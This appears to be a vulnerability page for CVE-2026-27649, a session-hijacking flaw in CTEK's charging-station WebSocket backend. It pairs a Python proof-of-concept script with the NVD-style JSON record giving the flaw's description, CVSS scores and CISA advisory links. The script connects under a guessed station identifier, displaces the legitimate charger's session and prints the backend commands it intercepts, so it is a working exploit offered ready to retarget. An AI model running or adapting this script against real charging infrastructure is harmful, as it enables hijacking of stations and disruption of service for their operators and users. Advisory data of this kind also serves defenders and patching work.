CVE-2026-27649

import asyncio import websockets # Target WebSocket endpoint TARGET_URI = "ws://vulnerable-charger-backend.example.com/ws" # Predicted/Leaked Charging Station Identifier STATION_ID = "CTEK-CHARGER-001" async def hijack_session(): # Construct the URI including the predictable session identifier # Depending on implementation, the ID might be in the path or query param uri = f"{TARGET_URI}?station_id={STATION_ID}" print(f"[*] Attempting to hijack session for Station ID: {STATION_ID}") try: async with websockets.connect(uri) as websocket: print("[+] Connection established. Legitimate session displaced.") # Listen for backend commands intended for the station while True: message = await websocket.recv() print(f"[Intercepted Command]: {message}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": asyncio.run(hijack_session())

{"cve": {"id": "CVE-2026-27649", "sourceIdentifier": "[email protected]", "published": "2026-03-20T23:16:43.003", "lastModified": "2026-05-06T15:16:53.670", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WebSocket backend uses charging station identifiers to uniquely associate sessions but allows multiple endpoints to connect using the same session identifier. This implementation results in predictable session identifiers and enables session hijacking or shadowing, where the most recent connection displaces the legitimate charging station and receives backend commands intended for that station. This vulnerability may allow unauthorized users to authenticate as other users or enable a malicious actor to cause a denial-of-service condition by overwhelming the backend with valid session requests."}, {"lang": "es", "value": "El backend de WebSocket utiliza identificadores de estación de carga para asociar sesiones de forma única, pero permite que múltiples puntos finales se conecten utilizando el mismo identificador de sesión. Esta implementación resulta en identificadores de sesión predecibles y permite el secuestro de sesión o shadowing, donde la conexión más reciente desplaza a la estación de carga legítima y recibe comandos del backend destinados a esa estación. Esta vulnerabilidad puede permitir a usuarios no autorizados autenticarse como otros usuarios o permitir que un actor malicioso cause una condición de denegación de servicio al sobrecargar el backend con solicitudes de sesión válidas."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-613"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ctek:charge_portal:-:*:*:*:*:*:*:*", "matchCriteriaId": "C757F5E2-F4E7-464D-9184-BD665287E411"}]}]}], "references": [{"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-078-06.json", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-078-06", "source": "[email protected]", "tags": ["US Government Resource", "Third Party Advisory"]}, {"url": "https://www.ctek.com/support", "source": "[email protected]", "tags": ["Product"]}]}}